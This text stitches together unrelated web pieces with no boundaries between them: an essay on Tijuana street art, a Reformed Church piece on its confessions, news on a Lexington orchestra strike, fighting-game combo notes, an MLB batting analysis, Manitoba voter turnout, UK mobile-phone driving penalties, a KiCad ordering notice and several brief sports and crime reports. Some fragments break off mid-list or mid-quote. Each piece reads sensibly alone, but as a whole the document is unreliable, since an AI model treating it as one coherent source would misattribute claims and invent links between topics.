The surprise was in a promenade below the park. Drab retaining walls to stop buildings slipping onto the beach had been converted into a giant outdoor canvas. Winding stairs led to a boardwalk bursting with graffiti-inspired art. Mythological beasts, fever dreams and alternative histories of Tijuana jumped from concrete slabs. They formed a loose cast of characters not unlike the exuberant, sometimes-gonzo murals that adorned derelict corners of New York City during the desperate 1970s and uncool ’80s. At the time, New York City was derided as dirty and dangerous. It was also a fantastically productive era for street art. Derelict buildings became proving grounds for a handful of iconic street artists who toiled in the shadows of New York and burst through the grime into pop culture.
According to David Reyes, a graphic design student in San Diego, more than 80 public murals have appeared in Tijuana over the past year. Sanctioned by property owners with the help of community organisers, they range in scope from the raw to the transcendent, and offer a glimpse into Tijuana’s potential. Whether sanctioned or not, much of the street art defies easy categories. Mixing wry humour with social commentary and pop-culture references, it refutes the myth of Tijuana as a wasteland assembled from the leftover scraps of the US and Mexico. ‘It’s an easy place to make art, but a tough place to be an artist,’ Reyes told me.
What makes Tijuana interesting to the artist? There’s enough social realism to make scores of art-house movies. In a nod to surrealism, the city has an opera house for the elite and maquiladoras for the poor. Tourism and pop culture hybridise and metastasise in unique ways. How else to explain Tijuana’s enduring mascot, a donkey painted to resemble a zebra and called the zonkey?
Other cities have undergone unlikely transformations during their history. In the late 1970s, few could have envisioned that New York City was about to undergo a cultural renaissance that reverberates to this day. Visual artists such as Jean-Michel Basquiat, Robert Mapplethorpe and Keith Haring, and any band ready to make some noise, laid claim to the Lower East Side, joining vibrant subcultures that were powerful antidotes to derelict tenements and rundown streets. An enclave of aspiring artists, bohemians and degenerates living on the margins ignited an arts scene so combustible, its influence spread far beyond the confines of the city.
Typically, these creative hubs arise in the cosmopolitan cities of prosperous nations — New York, London or Paris are the originals, of course, even if the avant-garde has now moved elsewhere. The cultural boom that transformed lower Manhattan in the 1980s was due in part to the river of cash that flowed through New York from Wall Street. Wealthy tastemakers created a demand for contemporary art that in turn spurred the need for more art to be produced. The process attracted other creative professionals from the publishing and fashion industry, building a buzz that would eventually transform the East Village and Lower East Side into neighbourhoods of boutique stores, restaurants, and gallery spaces. The is the process of urban renewal trumpeted by the urban studies theorist Richard Florida, who argues that artists, designers and writers — the ‘creative class’ — have an essential role to play in the economic vitality of cities. Creativity takes precedence in an era when intellectual capital trumps manufacturing.
Tijuana does have the desirable traits associated with creative hubs: affordable rents (at least by US standards) and lively diversions, bolstered by youthful energy. But while the city lacks the network of curators and collectors that made New York’s downtown art scene possible, Tijuana operates on a different frequency that propels it forwards and draws people towards it. A scrum of people given ample opportunities for social interaction makes for dynamic street culture. As the urban theorist Jane Jacobs argued, chaotic streets and random encounters are a driving force in a city’s socio-economic development and ultimate well-being.
Tijuana is no longer a mere waiting room to the American dream
Is Tijuana ready for its Warhol moment? Perhaps. In 2002 Newsweek and The Guardian declared it a centre for creativity, alongside eight other notable cities. Among them were Austin, Texas, home to a rollicking music scene, and Antwerp, Belgium, renowned for food and contemporary design. Those cities progressed, while Tijuana’s fortunes slipped into the mire of drug violence and instability.
After a turbulent decade, which forced Tijuana’s residents to turn their focus inward, the city seems poised to shrug off its recent past and reclaim its playful ways. The frontier food of Baja California has been transformed into a sophisticated bar and restaurant scene. And residents are slowly reinvigorating the arts. Tijuana is coming back, albeit quietly. ‘The first positive coverage about Tijuana, or Baja, was the wine country, then it was the food, and now it’s all about art and art spaces,’ Buenrostro said.
With a population of approximately 1.6 million, Tijuana is Mexico’s third largest and fastest growing city. With more people expected to arrive with each passing year, the population is predicted to double by 2030. This is expansion at a breakneck, unsustainable pace. According to the Tijuana Economic Development Corporation, the city needs an additional 54,000 acres of urban land and housing space. There’s a real need for a plan for growth that anticipates the demands of residents. Web designers and writers are hardly the cure-all for Tijuana unless they can build a better infrastructure to alleviate congested roads and deliver basic services such as sewage and sanitation to all residents. As his critics have pointed out, Richard Florida’s ‘creative class’ are no substitute for other, fundamental markers of a city’s prosperity and life.
Tijuana is no longer a mere waiting room to the American dream, and the offspring of Mexican migrants are taking the city in new directions, creating alternative narratives for Tijuana in an era of increasing global scrutiny. According to the essay collection Tijuana Dreaming: Life and Art at the Global Border, edited by Josh Kun and Fiamma Montezemolo (2012), the city and its environs serve as a filter and a muse, giving artists permission to remix polyglot influences that riff on Tijuana’s identity as both a latter-day Sodom and a modern global port.
For Jaime Ruiz Otis, an established Tijuana-based artist, it seems only natural that his art reflects his experience. ‘I’ve lived along the border all my life,’ he said. Otis is a ‘dumpster-diver’ — that is, he looks for materials in trash bins, which is why his works bear the moniker ‘Ruiz-cycled’. Finding inspiration in trash is his commentary on border life, without being heavy-handed. His projects range in scope from large abstract murals made from discarded inks and paper to lyrical engravings using polyurethane mats.
After a brief stint working at a maquiladora in Tecate, some 30 miles west along the border with the US, Otis came to Tijuana to pursue his art full-time. He hasn’t looked back. On the plus side, his spacious loft in downtown Tijuana costs approximately $450 (£290) per month. However, like many fine artists, he still struggles day-to-day. The current dictates of the art market are not in his favour. Among the challenges he faces, art collectors still refuse to venture to Tijuana due to the perceived danger. Fortunately, his reputation means Otis can travel overseas to showcase his work in larger art markets. He grasped the back of his neck as he told me: ‘Sometimes God stops strangling you.’ And like other residents interviewed for this piece, he has managed his expectations of Tijuana. In case the art doesn’t pan out, he is training to become a chef.
Tijuana’s recovery is far from complete. But dire predictions about the city’s future have been as accurate as the misread Mayan calendar. After a state-mandated stint in rehab, the city is poised to reclaim itself and continue the ongoing, messy business of urban reinvention.
Tijuana links
By J. Todd Billings
The time is ripe for the confessions to be rediscovered in the RCA.
As I have taught the Reformed confessions to middle schoolers, adult Sunday school classes, and seminary students, I have repeatedly seen responses of surprise and delight in the riches of our confessions.
As faithful and historic witnesses of the Christian faith, and as tools for instructing believers, the confessions stand as a tremendous—though sadly misunderstood and underused—resource in leading the church into a more biblical, Christ-centered identity.
In this cultural moment in North America, the need has never been greater for the shaping of children and adults through the confessions. There is widespread biblical illiteracy both in and outside of the church, and while many Christians know a set of particular Scripture verses, it's not at all clear to them how the verses fit together; it's more like a potpourri than an integrated story of how God has become known in Christ. This situation is aggravated by a culture which encourages a cafeteria spirituality where you get to pick and choose what's most appealing. Lines from Elizabeth Gilbert's bestselling Eat, Pray, Love exemplify this tendency: "You have every right to cherry-pick when it comes to moving your spirit and finding your peace in God."
In contrast to a scattered puzzle of individual Bible verses or a disconnected spirituality that does not find its center in Christ, the Reformed confessions provide an integrated vision of the narrative of Scripture, the gospel made known in Jesus Christ. For example, the Heidelberg Catechism begins with a statement that draws upon numerous Scripture verses, while also giving us a clear sense of the Christ-centered nature of our lives:
What is your only comfort in life and in death?
That I am not my own, but belong—body and soul, in life and in death—to my faithful Savior, Jesus Christ.
Drawing deeply upon the historic Christian faith, the confessions cast a biblical and Christ-centered vision that also speaks broadly to the issues of the day.
Addressing misunderstandings
This raises a few issues on which there are some misunderstandings in the RCA, so I will take a moment to clarify.
First, for the RCA, the confessions are "historic and faithful witnesses to the Word of God" in Scripture. They do not undermine our confidence in Scripture, but bolster it by allowing us to read Scripture with Christians in different times and places. The confessions make us attentive to the ways in which the Spirit was active in leading the church's biblical interpretation in ecumenical councils such as Nicaea (affirmed through the Belgic Confession), as well as through biblical renewal in the Reformation and the biblical admonitions responding to the injustices of apartheid South Africa (with the Belhar Confession).
Second, the four RCA confessions are not all intended to serve the same purpose or speak to the same issues. Historically, the Heidelberg Catechism (1563) has been approached as "the catechism," the primary teaching document for the church's discipleship. As such, it has a broad coverage of topics, including expositions of typical "catechetical" topics, such as the Apostles' Creed, the Lord's Prayer, and the Ten Commandments. Yet its topical coverage is not as broad as the Belgic Confession (1561)—at times known as "the confession of faith"—which has more detailed and technical discussion of some topics that the Heidelberg discusses only very briefly.
In this context—a catechism and a general confession—two other documents later arose: the Canons of Dort (1618-19) and the Belhar Confession (1982). Neither was written as a new statement of faith. The Reformed church already had one—the Belgic Confession. Rather, they were written in response to controversies crucial to the gospel witness, as explanatory supplements to what the Belgic Confession already taught. In this way, while they are just as important as the Heidelberg and the Belgic, their focus is much more specific. (See concept map.)
What difference does this history make? It means that we can't define being Reformed by the "five points of Calvinism" (from the Canons of Dort) or call the Belhar Confession a "new" comprehensive statement of faith—neither was intended as a summary of Reformed identity. Rather, they add to the depth of a wide and expansive Reformed confessional tradition, and they need to be received in that larger context. Dort and Belhar are crucial supplements to Heidelberg and the Belgic, bringing us teaching on the critical topics of grace and assurance, reconciliation and justice, sanctification and discipleship in a fallen world.
The worth of confessions
Our Reformed confessions are worth not only coming to know, but coming to love. The confessions are like theological poetry, and God can use them—in joy, and in crisis—in amazing ways. When I was in the hospital with pneumonia, I was breathing rapidly and could not concentrate on a thought in a continuous way. I needed a reminder of who I was—and to whom I belonged. The words that came to my mouth, again and again, were: "I am not my own…I am not my own…but belong to Jesus Christ…my faithful savior."
Moments like this are magnified through study of the Heidelberg, for this answer of the catechism is reflected with depth and insight throughout the catechism, with its movement through the themes of guilt, grace, and gratitude. For example, question and answer 32 says that I am called a Christian "[b]ecause by faith I am a member of Christ and so I share in his anointing" by the Spirit, to be one with Jesus Christ, the true prophet, priest, and king. Thus, "I am anointed to confess his name, to present myself to him as a living sacrifice of thanks, to strive with a free conscience against sin and the devil in this life, and afterward to reign with Christ over all creation for eternity."
What could be more vital, missional, and relevant for today than a vision like this from a sixteenth century confession?
When our congregations promise at baptism to "teach the gospel of God's love," why would we not use a confession like the Heidelberg, which beautifully and clearly teaches this gospel?
When deacons and elders vow to be "loyal to the witness" of the RCA, what better way than to lead congregations in discovering the God-given resource of the confessions for growing as disciples of Christ?
To reiterate: our Reformed confessions are worth not only coming to know, but coming to love. The confessions can bolster today's church through celebrating the historic Christian faith and leading us to grow into a more biblical, Christ-centered identity.
"We have great solidarity among our ranks," orchestra committee chairman Dave Shelton said Tuesday afternoon.
In the same balloting, cast Thursday, the musicians also expressed a vote of no-confidence in music director Scott Terrell.
The musicians are seeking retention of a peer-review system for demotion and dismissal, and a guaranteed number of performances for musicians. They also are rejecting a management-proposed non-encroachment or no-compete clause.
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Philharmonic management rejected the musicians' demands Tuesday, saying the organization must maintain artistic control and cannot make guarantees in an uncertain economic environment. Management also defended Terrell's performance as music director, a post he has held since 2009.
"We will continue to do things up until the moment of the concert to try to resolve this," said Nathan Kahn, a negotiator for the American Federation of Musicians, which represents the Philharmonic musicians.
The situation puts the Philharmonic potentially in the same boat as many other orchestras across the country, including the Louisville Orchestra, that have suffered work stoppages and heated contract negotiations. Those disputes have been more fiscally oriented. The Philharmonic's dispute focuses more on employment and artistic issues.
The votes to strike and of no-confidence took place at a full-orchestra meeting Thursday, and the results were posted online late Monday in a document publicly linked on an open Facebook page called "Musicians of the Lexington Philharmonic."
According to the post, titled "voting tallies," "The votes were all decided overwhelmingly, if not unanimously." Exact vote tallies were not disclosed.
Philharmonic musicians and management renegotiate a contract every four years; talks concerning the new contract have gone on since April 2012. Negotiations have not made news in many contract cycles, but the current stalemate became public as musicians objected to numerous management positions.
On Tuesday afternoon, Shelton, the orchestra committee chairman, said a non-negotiable item is the peer review, which means that a committee of musicians has final say over promotion, demotion and dismissal of musicians. The musicians and Kahn say the system is an industry standard, but the orchestra management disputes that claim.
A news release from the Lexington Musicians' Association, Local 554-635 of the American Federation of Musicians, stated specific concerns that Terrell intended to "dismiss musicians from the orchestra for reasons other than artistic competency."
The latest round of rhetoric represented the most direct attack on Terrell in the negotiations, and orchestra management vehemently disputed the claims in its written response to union demands.
Citing Terrell's charge to make the Philharmonic "an excellent regional orchestra with high artistic standards, known for playing a vibrant and diverse repertoire," the statement said, "Terrell has made great progress toward these goals as evidenced by general improvement in ticket sales since his arrival, positive reviews from different critics, awards of nationally competitive grants, and artistic collaborations with some of the leading-edge artists and composers of our times.
"Scott Terrell has the board's full confidence," the statement said, and "it is unfortunate that the Orchestra Committee and musicians have taken the position to target Terrell personally."
Terrell is not the first Philharmonic conductor to receive a no-confidence vote from the musicians. His predecessor, George Zack, received a no-confidence vote from 80 percent of the players in 1982. He even tendered his resignation before going on to lead the orchestra for a total of 37 years, until he retired in 2008.
Another primary complaint from musicians has been that the orchestra has performed fewer large-scale orchestra concerts since Terrell took the podium.
Terrell has revamped some traditional performances, including the annual Messiah concerts, which have been performed at Christmastime at area churches with smaller, baroque-style orchestras and the Lexington Chamber Chorale, boasting about 40 singers, as opposed to the Lexington Singers, with more than 100 voices. He also has programmed more contemporary works that often require smaller forces, particularly a "tango opera" last January, and made other programming alterations.
Musicians contend that this has cut down on their performance opportunities and the cohesion of the orchestra as a whole.
Musicians had sought to get a guaranteed number of full-orchestra concerts in the new contract, but management balked, saying, "The recent recession and current economic climate does not allow the Lexington Philharmonic to foresee its financial position years into the future with enough certainty to make long-term guarantees as to the number or type of performances we will be able to fund, produce and the community will embrace."
In the most recent round of proposals, the musicians said management would either have to agree to retain the current artistic-review process or agree to a new agreement that essentially reverts to the 2008 contract for any points on which the parties have not agreed on new language.
At midday Tuesday, Philharmonic board president R. Scott King wrote to Shelton, "We are not able to agree to those terms at this time. We have every intention of continuing our negotiations in good faith and wish to return to the bargaining table as soon as possible."
Within 45 minutes, the union issued a news release announcing the vote to strike Friday's concert.
Shelton said musicians will continue to rehearse; the union has agreed to give management 24 hours' notice of any work stoppage.
The season-opening concert, titled "Revolution!," is scheduled to feature violin soloist Caroline Goulding and a piece called American Symphony by composer-in-residence Adam Schoenberg, who is writing a new work the Philharmonic scheduled to premiere early next year.
If it's a go
Lexington Philharmonic
What: Season-opening concert with conductor Scott Terrell, violin soloist Caroline Goulding and American Symphony by composer-in-residence Adam Schoenberg.
When: 7:30 Sept. 20
Where: UK Singletary Center for the Arts, 401 Rose St.
The Bylaw also strictly prohibits the consumption of cannabis (including for medical use) in any public place, as per The Cannabis Control (Saskatchewan) Act (Bill 121). This means cannabis may only be consumed on private property.
Execution tip: hold down after HM*mb then when you see shazam crouch jump in for crossup version, for non-crossup delay jump-in
did some math and max conversion;
-with 1 bar you can get 56% = f223-d2-f223- HM reset to ambiguous-crossup(ji2) -f223-d2-f223-HM.
-and with 2 bars you can get 76% = f223-d2-f223- HM reset to ambiguous-crossup(ji2) -f22-HM 37% bnb.
-and with 2 bars you can get 85% = f223-d2-f223- HM reset to ambiguous-crossup(ji2) -f223-d2-f223- HM reset to ambiguous- crossup(ji2) - f223-d2-f223-HM
off a d2 (anti-air/footsie or frame trap);
-1 bar 43% = d2-ji2-22- HM reset to ambiguous-crossup(ji2) -f223-d2-f223-HM.
-1 bar 63% = d2-ji2-22- HM reset to ambiguous-crossup(ji2) -f22-HM 37% bnb.
-2 bars 72% = d2-ji2-22- HM reset to ambiguous- crossup(ji2) -f223-d2-f223- HM reset to ambiguous- crossup(ji2) - f223-d2-f223-HM Click to expand...
preferable HM*mb reset application:
TIP: Please also consider opponents wake up special move inputs.
1.) HM-mb;ambiguous ji2 reset
-untechable ​
-cannot back dash ambiguous-crossup ​
-cannot mash wakeup on crossup (reverses wakeup) ​
-can time wake up (then opt for the other option) ​
-can be shut down by characters with both sided wakeup ​
(e.g.BA,DS) if they mash on shazams ji point. ​
Execution: ​
- to get the crossup after dash immediately jump in, for non-crossup dash (wait till shazams feet hit the ground) then jump in. ​
when is this best to use? ​
- off a d2 - ji2 - 22/f223 - HM Reset ​
- off a f223 - d2 - f223 - HM Reset ​
2.) HM-mb;jf-HMreset
-untechable ​
-reverses wakeup input ​
Execution: ​
- once feet is near the ground jump forward. ​
when is this best to use? ​
- off a d2 - ji2 - 22/f223 - HM Reset w/ 2 bars of meter ​
- off a f223 - d2 - f223 - HM Reset w/ 2 bars of meter ​
3.) AC-mb:jf-HMreset (Gimmick)
-untechable ​
-reverses wakeup input ​
Execution: ​
- just jump forward. ​
when is this best to use? ​
Through Monday,* major leaguers were hitting just .248. The MLB-wide batting average hasn’t been below .250 once this millennium. In fact, over a full season, that mark would rank as the sixth-lowest over the last 50 years:
Season BA
Source: ESPN Stats & Info
Granted, weird things often happen in short time frames. But take a look at the five lowest MLB-wide batting averages from Opening Day through this point in the season, also since 1964:
Season BA
Source: Elias
This year’s .248 mark barely misses the cut. Note the specific seasons that appear on both charts, though. The bulk of results came during historically poor periods for offense in the mid-to-late 1960s and early 1970s. The top year on each list is the Year of the Pitcher, the 1968 season that saw Carl Yastrzemski post the lowest batting average ever to lead the league (.301) and Bob Gibson deliver the lowest ERA ever for a qualified starting pitcher (1.12). If 2014 is lumping in with a season that featured mounds as high as skyscrapers, something’s definitely going on. But what?
[mlbvideo id=”32298071″ width=”500″ height=”280″ /]
The first culprit is rising strikeout totals, as hitters have been whiffing more often than ever over the past few seasons. Through this many games in 2006, batters were striking out 18.7 percent of the time while netting a .265 batting average. That first figure has soared to 23.3 percent in 2014, an all-time high for this point in the season.
In an attempt to figure out why hitters are striking out more than ever, Grantland contributor Ben Lindbergh hosted a panel discussion on Baseball Prospectus’s Effectively Wild podcast with Fox Sports writer Rob Neyer, Brooks Baseball and Baseball Prospectus contributor Harry Pavlidis, former major league pitcher Brian Bannister, and physics professor/baseball researcher Dr. Alan Nathan. Each of the panelists had a somewhat different theory. Pavlidis noted the introduction of PITCHf/x to umpires’ training programs in 2009, a move he says prompted umpires to start calling a larger and more standardized strike zone. Pavlidis found that 57 percent of the pitches that hitters take now get called as strikes, compared to 50 percent right before PITCHf/x supplanted QuesTec for umpire reviews.
Nathan noted that pitchers are throwing harder than ever. Teams are drafting and developing bigger and stronger pitchers, and the net effect has been faster average pitch speeds, including more fastballs touching triple digits. According to ESPN Stats & Info research, the average velocity for all pitch types this season is 87.3 mph, while the average pitcher’s maximum pitch velocity is 94.1 mph. Compare that to April 2011, when those averages were 86.7 and 93.7, respectively. While those differences might seem negligible, Nathan pointed out that batters only have a fraction of a second to react to pitches. That means hitters’ muscle memory has been conditioned toward a certain pitch speed over thousands of repetitions, and even the slightest change can throw off their timing.
Bannister noted that PED testing has hurt hitter performance and thus offensive results, though that topic’s a bit of a puzzler, since more stringent testing would presumably affect pitcher PED usage rates as well, and thus possibly deaden overall pitch speeds. Lindbergh suggested that one of the mantras of the analytical age — that high-strikeout pitchers are highly desirable, but high-strikeout hitters aren’t necessarily a problem — could be affecting personnel decisions. Neyer, meanwhile, subscribed to an all-of-the-above theory, claiming that the rise in strikeouts has been somewhat organic.
The second factor is the rise of defensive shifts. Baseball Info Solutions tracks all manner of defensive data, including team-by-team shift totals and the impact those shifts have on batting averages. In 2011, teams executed 2,357 shifts, including Ted Williams Shifts (three infielders on one side of second base) and Partial Ted Williams Shifts (at least two infielders significantly out of their normal fielding positions or an infielder — usually the second baseman — 10-plus feet into the outfield). In 2012, that number nearly doubled, to 4,577. Another big spike occurred in 2013, with the total number of shifts climbing to 8,134. We’re on pace for a 57 percent surge in 2014, with the total number of shifts projected to be 12,737 by year’s end.
A handful of teams are fueling that spike by getting way more aggressive in their shifting habits. Last season, the Astros shifted 496 times on balls in play, ranking fifth behind MLB’s shiftiest team, the Orioles, who shifted 595 times. This year, Houston is on pace to triple Baltimore’s 2013 total. Meanwhile, the Yankees are poised to more than double their shift total from last season, a nod to compelling data on shifting’s effects, and also to the declining range of middle infielders Derek Jeter and Brian Roberts. A recent study by ESPN.com’s Keith Law and Mark Simon showed that shifting can even have tangible effects on hard-hit balls that typically scoot through the infield and drop in for hits.
In addition to having a tangible impact on run prevention, defensive shifts do wonders to smash batting averages. Last year, the league average for shifted batters was .233 on ground balls and what BIS defines as short line drives; sans shifts, hitters posted a .263 average on those grounders and liners. The figures look similar this year: Batters facing the shift are hitting .236 on those kinds of balls, and .257 in non-shift situations. Even though the batting averages are essentially the same this year and last, the increased number of shifts this year means a lower batting average overall.
The impact of defense doesn’t end there. While it’s tough to measure, teams do seem to be valuing defense more when parceling out playing time. Discussing Phillies big-power/weak-glove prospect Maikel Franco on my podcast this week, Law noted that Franco’s skills look a bit anachronistic now that teams rarely employ what Law called “Dean Palmer types” at third base anymore, instead opting for more agile, athletic defenders. The playing-time crunch that led the Mets to trade Ike Davis to the Pirates might not have happened 10 years ago, when a team might’ve been content to leave Lucas Duda in left field instead of shifting him to a position where he’d be less of a defensive liability. Hell, the Rays’ very existence as a franchise seems to affirm the value of emphasizing defense; the fact that teams still pay so much more for 30-homer hitters than defensive wizards makes a defense-heavy approach even more logical for small-payroll teams.
Trends don’t last forever in baseball. It took just one generation for the Year of the Pitcher to evolve into one of the highest-offense eras in the sport’s history, a shift brought on by everything from rule changes like lowering the mound, to more offense-friendly ballparks, to bats with thinner handles, to juiced balls, to juiced ball players. One way or another, the batting average decline will likely stop as well.
It might take a while, though. Even if the rising strikeout rates are organic and thus subject to leveling off, teams have discovered run prevention gold with shifts. Clubs like the Astros will probably shift even more as long as doing so yields results, and teams that almost never shift, like the Rockies, will likely start once they’re forced to acknowledge how well the tack is working for the competition. There are ways to beat the shift, like shooting for the opposite field or bunting, but we’ve yet to reach the tipping point where a power hitter who sees a lot of shifts, like David Ortiz, decides to sacrifice home runs for singles. We might not even be close.
This season probably won’t produce another ’68 Yaz situation. But the 73-year streak without a .400 hitter looks pretty damn safe, too.
The report by Prairie Research Associates examined the 57 per cent voter turnout in last April's provincial election and the reasons why many people didn't bother.
About half of the non-voters surveyed said they would be more likely to cast a ballot under proportional representation, in which legislature seats are awarded to reflect the percentage of votes each party receives.
The current first-past-the-post system used across Canada is seen as making some votes less valuable, the report states.
"This research suggests that non-voters (whether persistent or irregular) would be more likely to vote if the system more closely reflected the proportion of votes cast and if voting were more convenient.
"There is a feeling that some votes are less valued under the current system since they are not reflected proportionally in terms of seats awarded."
Other reasons people cited for avoiding the ballot box included a distrust of politicians and inconvenient voting hours and locations.
Voter turnout in this year's election was similar to that in 2007 and up three percentage points from 2003. The report notes a concern that non-voters tend to be younger.
"Non-voting in one election reinforces the decision not to vote in the next. The worry is that the growing number of young adults not voting will result in more of these young adults remaining non-voters throughout their life."
Former Manitoba Premier Greg Selinger announced plans last year for an all-party review of the province's electoral system, but months later his NDP government was voted out of office. The committee never came to fruition.
Premier Brian Pallister said Tuesday he has no plans to revive Selinger's review.
"It's not a big priority ... we can only focus on so many things," he said.
The federal government is currently examining electoral reform, and an all-party committee is expected to issue its findings in December.
Pallister said he is watching the federal process with interest.
"I'm a big believer in deliberative democracy, so I like the idea of people debating issues ... It would be inconsistent for me to say that I don't think this is a productive exercise.
"It's also been my experience that, politically, these kinds of initiatives tend to have an interesting bias. Very often, the people engaged in these processes want an outcome which benefits their political leaning, and so the discussions often take that form."
Hearts have completed the signing of Nigerian international Juwon Oshaniwa, subject to international clearance.
The left-back has penned a three-year deal at Tynecastle and joined his new team-mates in training for the first time this morning.
Juwon boasts an impressive pedigree, having played in all of the Super Eagles’ matches at the 2014 World Cup in Brazil, where he came up against the likes of Lionel Messi.
The 24-year-old spent the past three years at Israeli club Ashdod and will now compete for the left-back slot in Gorgie.
Speaking exclusively to Hearts News, head coach Robbie Neilson said: “I’m delighted to get Juwon here and signed up.
“It’s been a long process to get him here in Edinburgh, but he’s here now and he’s desperate to get started.
Lukas Huffman used to be on the other side of the lens, dropping cliffs in standout video parts of his own for Kingpin’s Happy Hour and Mack Dawg Productions’ Shakedown and Chulksmack. Snowboarding absorbed his life for decades and he was one of the best. Yet Lukas craved more. An inquisitive mind and rider on the fringe of burnout, Lukas poured his heart, intellect and hard earned money into a snowboarding-inspired book and video titled ir77 in 2006. Shortly after, he moved from the mountains of British Columbia to the concrete jungle of New York City in search of creative and academic stimulation. Nine years later the two worlds have collided for Lukas once again. Read on as Lukas, the director of VICE Sports’ latest series ‘Lady Shredders – The Most Badass Women In Snowboarding’ talks about his motivation and experience documenting the Too Hard crew.
Lukas Huffman in New York City, photo: Chris Brunkhart, Snowboard Magazine 11.3
What drew you to work with the Too Hard crew & direct this documentary series for VICE Sports?
I’ve been a big fan of the Too Hard videos for years now. The riding is obviously awesome, but I also love the editing, soundtrack and the overall tone of the movies. They are way different than anything else that’s happening in snowboarding right now — in guys’ or girls’ movies. They have a bit of a darker tone that I was attracted to. The more I learned about Danyale [Patterson] and the rest of the girls, the more I knew there was a good story in there. They are pushing the physical limits of snowboarding, but the lifestyle they depict in the movies — the same drinking and smoking that has been in snowboard videos for years — is frowned upon because of their gender. They are outsiders within the snowboard industry, which reminded me of how snowboarding was in relation to mainstream culture when I first started in the early-90s. In my opinion the Too Hard crew is the most punk thing happening in snowboarding right now, and I wanted to learn more about it.
How many episodes will there be in the series?
There will be three episodes.
Lady Shredders – The Most Badass Women in Snowboarding (Part 1)
Where did you travel with the crew?
We were in the St. Croix Falls area of Wisconsin.
Can you give us a few descriptive words on each rider?
Danyale Patterson: She’s the creative force behind Too Hard. She’s also a rookie of the year alumni, who is pushing the riding standards in the film.
Madison Blackley: She keeps going and going and going. She is a super technical rider and won’t stop riding until she gets her shot. She happens to also be the most chatty of the group I met.
Corrine Pasela: She was quiet at first, then opened up and articulated many complicated relationships that she and the Too Hard girls have with the industry.
Kayli Hendriks: Young, hungry and such a warm, open-hearted girl. She has an intense amount of natural talent.
Fancy Rutherford: The matriarch of the group, she has a wisdom about her. She knows when to commit to a rail feature, and when not too. She also was able to explain in a very coherent way her dynamic relationship with snowboarding.
Read More: 1
A spate of cyclist road deaths has prompted ministers to approve a doubling of the number of penalty points for lorry drivers caught using their phones. The maximum penalty for truck drivers will double from three points to six and the penalty for drivers of cars and vans will increase from three points to four.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Fines for all drivers will rise from £100 to £150. The measures are the centrepiece of the Government’s new road safety plan.
However, cycling groups said the plan needs to be accompanied by more police on the roads. The number of drivers caught using mobile phones behind the wheel has dropped by 47 per cent over the past five years, according to figures seen by the RAC. Meanwhile, research from the Department of Transport suggests drivers are using phones more than ever. In 2014, 492 accidents were a result of a driver using a phone, up 40 per cent on 2010.
David Murray, head of communications and campaigns at CTC, the national cycling charity, said: “While CTC welcomes this move as one way to discourage texting while driving, the biggest deterrent would be a greater police presence on our roads. Sadly, cuts to policing have had a disproportionately high impact on police numbers on our roads. All road users would benefit from more roads policing, but it would be the most vulnerable – cyclists and pedestrians – who would benefit the most.”
Amy Summers, campaigns co-ordinator for the London Cycling Campaign, said: “Any measure that encourages safer driving is welcome, but unless that is supported by people on the ground, we’re not going to see enough change in driver behaviour.
“We hope that any measure is accompanied by stronger enforcement with people receiving the fines. Dangerous driving and lack of attention are major dangers to people cycling on the roads.”
Under the Government’s proposals, first-time offenders will still be offered special courses in an effort to change their behaviour. However, those who repeatedly offend face harsher fines.
Ministers have decided to ramp up the punishments for lorry drivers because the consequences of an accident involving a heavy vehicle can be much more severe. Last year alone, 21 fatal car crashes and 84 “serious accidents” were wholly or partly blamed on a driver using a mobile phone at the wheel. Polls have also regularly found that drivers rate mobile phone use alongside tailgating as one of the most dangerous practices on the road.
Transport Secretary Patrick McLoughlin said: “Using a mobile phone at the wheel is reckless and costs lives. I want to see it become a social taboo like not wearing a seatbelt.
“We will take action to tackle this persistent problem, with an emphasis on the most serious offenders. The message is clear: keep your hands on the wheel, not your phone. If you keep taking calls while at the wheel, you could end up being banned from the road.”
Edmund King, president of the AA, said there was an “epidemic of hand-held mobile phone use while driving” and backed the Government’s clampdown: “Three-quarters of drivers see others using mobile phones on some or most journeys, with one-quarter seeing it on every journey, according to our polls.”
Suzette Davenport of the National Police Chiefs’ Council said: “We fully support this crackdown on dangerous drivers. Drivers must continue to be aware not only of the risks posed by being distracted by mobile phones, but also the serious penalties which they will face if they are caught.”
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
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A rant posted on Facebook by Henni Mohamed, a Marseille native of North African origin, has recently gone viral. His seven-minute reaction to threats to his city made by extremists has been watched 1.4 million times.
After Islamic State threatened to carry out more attacks in France, including in Marseille with its large immigrant population, the local Muslim resident didn’t seem to be intimidated, despite the recent attack in Nice, for which the terrorist group claimed responsibility, along with other terrorist acts in Europe.
“We have got Kalashnikovs and rocket launchers, come to Marseille,” the guy said, adding that by attacking the city, IS would actually be at war with many Muslims. “There are only Muslims here, Algerians, Moroccans and French,” he said, accusing the jihadists of having “completely lost plot” and “having nothing to do with Islam.”
Mohamed’s video, which is full of offensive language, even reportedly prompted a response from IS itself.
La video "Marseille menace Daesh" a été vue par les FR de l'#EI en Syrie/Irak qui réagissent sur une de leurs pages pic.twitter.com/zz7YoNPZ1w — David Thomson (@_DavidThomson) July 22, 2016
And it’s apparently his choice of words that offended extremists the most. They went for a riposte, saying it was he who stained Islam by spewing “words of great vulgarity.”
READ MORE: Texts, city tours, empty bank account & rented car: How Nice attacker planned terror act
For designers, this means that you can place an order without going through the plot process, worrying about drill formats, or fiddling with CAM settings.
For the community, this means ordering files designed with KiCad got a lot easier. Now there’s no need to install KiCad to generate gerber files, or deal with a zip full of gerbers that might not be set up for us.
For users who still prefer to generate gerbers, we have good news for you too. We’ve improved our file detection, so there’s no need to rename the files on our behalf. Check out our Kicad docs for more information on generating gerbers if you run into trouble.
We’d also like to extend a word of gratitude to the developers for their continued efforts to improve KiCad. In the last few months, they’ve added too many features to count, including the scripting architecture. A special shoutout to Adam Wolf of Wayne and Layne in particular, for his support of these feautures!
Two French football internationals have been placed under judicial investigation over claims they solicited sex with an under-age prostitute, the Paris public prosecutor's office has said.
The move against Franck Ribery and Karim Benzema is the first stage of criminal proceedings that can lead to charges.
They were held as part of a probe into an alleged under-age prostitution ring.
Both players denied any wrongdoing.
The two men were questioned at the request of an investigating magistrate looking into allegations that a Paris nightclub gave access to under-age girls working as prostitutes.
The pair were freed after questioning in Paris on Tuesday.
One of the women who is alleged to have met clients at the club while she was under age, Zahia Dehar, has already told investigators that she had been paid for sex with the two players.
